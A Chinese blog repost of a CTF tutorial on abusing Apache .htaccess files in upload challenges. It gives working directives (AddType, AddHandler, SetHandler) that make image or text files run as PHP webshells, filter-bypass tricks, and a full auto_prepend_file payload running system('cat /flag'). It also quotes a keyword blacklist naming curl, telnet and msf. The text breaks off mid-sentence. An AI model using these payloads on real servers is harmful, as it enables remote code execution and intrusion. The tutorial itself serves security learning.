php.ini运行.htaccess文件_CTF丨.htaccess文件的利用,没有比它更全面的文章了! (20210121学习笔记)...

.htaccess文件在Apache服务器中用于配置目录下的网页。本文介绍了如何利用.htaccess进行WAF绕过、文件包含等操作,涵盖AddType、AddHandler、SetHandler的用法,并分享了绕过关键字、exif_imagetype函数以及拼接字符的策略。同时讲解了php_value和php_flag的用途,为CTF比赛和安全学习提供了实用技巧。
摘要由CSDN通过智能技术生成

05092fb07ce3d3f038bf0c36825b6ed5.png

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以改变所在文件夹和子文件下的php.ini配置。

在CTF赛题中,如果能够上传或者写入一个.htaccess,就可以做到绕过WAF、文件包含等操作,笔者之前参加比赛时看到过.htaccess文件的利用,于是将各种用法总结出来分享给大家,希望有所帮助。

1d0d6806704d2699e898eeed0cf78caa.gif

本文是 i 春秋论坛作家「kawhi」表哥原创的技术文章分享,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

ebc28e0e6dcbc4c1d0a2a1e7ecc0e313.gif

.htaccess文件是默认开启的,如果没有启动.htaccess文件的话,需要修改配置文件httpd.conf中的以下两点:

  • 把AllowOverride None修改为:AllowOverride All;

  • 把LoadModule rewrite_module modules/mod_rewrite.so这句话前面的#去掉。

.htaccess任意文件解析

在CTF中.htaccess文件最常用的地方就是文件上传题目,如果题目中使用的是黑名单机制,即限制上传php,pthml,pht等后缀,我们可以使用.htaccess文件重新配置当前文件的解析后缀,为其他后缀绕过导致其他后缀的文件被解析为php,就可以导致远程代码执行。

AddType

比如在upload-labs的第四关就可以使用这种方法绕过,首先是限制了php的后缀,如图所示shell.php不允许上传。

0fb852cc80ec77f18aff713a51fe39a0.png

但是题目并没有限制.htaccess文件的上传,可以上传一个.htaccess文件内容如下:

AddType application/x-httpd-php .jpg

AddType可以指示文件管理系统,对指定后缀文件以选定的文件类型解析,整句话的作用就是让jpg格式的文件解析为php文件。

上传完.htaccess文件之后再上传一个写入一句话木马的shell.jpg文件,尝试连接蚁剑。

74138e44dbd36fcb03c5748f6e59af6e.png

发现已经成功连接上了,说明我们上传的.htaccess文件已经成功让jpg格式的文件解析为php了。

AddHandler

除了AddType之外还有AddHandler,我们想将txt文件后缀解析为php运行,可以在.htaccess中写下以下两行的其中一行。

  • AddHandler php5-script .txt

  • AddHandler php7-script .txt

意思是指定扩展名为.php 的文件应被php5-srcipt/php7-srcipt处理器来处理。

7208ebbf38b43526ec05e2409795f9a7.png

可以看到写入前后的对比,后者成功把txt文件解析为php文件。

一般这种可以配合着其他的语句来使用,比如说[de1ctf 2020]Check in的这道题,过滤了如下黑名单:

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

我们可以上传一个.htaccess内容如下,主要让txt文件解析为php文件,再把flag包含进来。

AddHandler p\hp5-script .txt
p\hp_value au\to_append_file /flag

再上传一个1.txt就能加载/flag内容。不过这里涉及到了.htaccess的换行绕过和文件包含,下面都会提到。

SetHandler

.htaccess文件解析还有另外一种常见写法就是利用SetHandler,文件内容如下:

SetHandler application/x-httpd-php

这样所有文件都会当成php来解析,如果要指定某一个类型文件的话,可以写:

"shell.jpg">
    SetHandler application/x-httpd-php

将shell.jpg解析为php文件,同时这里可以使用正则匹配文件比如:


  SetHandler application/x-httpd-php

就是匹配所有的.ph开头的后缀文件。

SetHandler还有一种用法就是在.htaccess写入:

SetHandler server-status

然后再访问http://ip/server-status即可查看所有访问本站的记录,[de1ctf 2020]Check in这道题的官方wp中提到了这种方式去获取信息。

.htaccess的一些绕过

绕过关键字

像上面的upload-labs的第四关内容中如果过滤了application关键字,因为.htaccess支持换行编写,我们可以使用反斜杠换行绕过的方法,如:

AddType appli\cation/x-httpd-php .jpg

绕过exif_imagetype函数

exif_imagetype( ) 的作用是读取一个图像的第一个字节并检查其签名。

比如[SUCTF 2019]EasyWeb这道题就有这个函数,关键代码如下:

$tmp_name = $_FILES["file"]["tmp_name"];
if(!exif_imagetype($tmp_name)) die("^_^");

要注意的是通常我们会在上传文件中加上gif的文件头GIF89a去绕过,但是.htaccess文件用这种方法虽然能上传成功,但是无法生效。我们可以在.htaccess文件前面加上:

#define 4c11f3876d494218ff327e3ca6ac824f_width xxx(大小)
#define 4c11f3876d494218ff327e3ca6ac824f_height xxx(大小)

这里的原理其实是伪造为xbm文件,xbm文件是一种图片格式的文件。

05dea7448ef8af6124d018a3f5b452e7.png

在php的官方文档中,exif_imagetype( )是可以支持xbm类型的文件的。

绕过拼接字符

比如近期的一道题目,其中部分代码如下:

file_put_contents($filename, $content . "\nHello, world");

这一题的思路是利用.htaccess文件把恶意代码包含进index.php里面,但是在变量$content后面拼接了一个"\nHello, world",这样的话会不符合.htaccess文件的语法,导致服务器报一个500错误,这时候我们可以使用反斜杠先把\n转义,再在加入的恶意代码前面加上一个#注释掉后面的内容,这样的话就可以绕过"\nHello, world",从而使得.htaccess符合语法。

最终payload结果如下:

php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\&filename=.htaccess

这里要注意的是在传参的时候都是要url编码的。

.htaccess的常见用法

首先了解一下php_value和php_flag:

  • php_value:设定指定的值,但不能设定布尔值;

  • php_flag:用来设定布尔值的配置指令。

这两个可以用来设置指令的值,使得在Apache配置文件内部修改PHP的配置,那么这些指令有哪些呢,比如说auto_prepend_file,display_errors等等,具体的话参考官方给出的:php.ini 配置选项列表

当然上面说的这两个都是可以用于.htaccess中的,同样功能的还有php_admin_value和php_admin_flag,但是这两个无法用于.htaccess中。

下面介绍两个最常见的用法:

特殊编码绕过

如果对文件内容进行过滤了,同时版本php7已经抛弃了

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值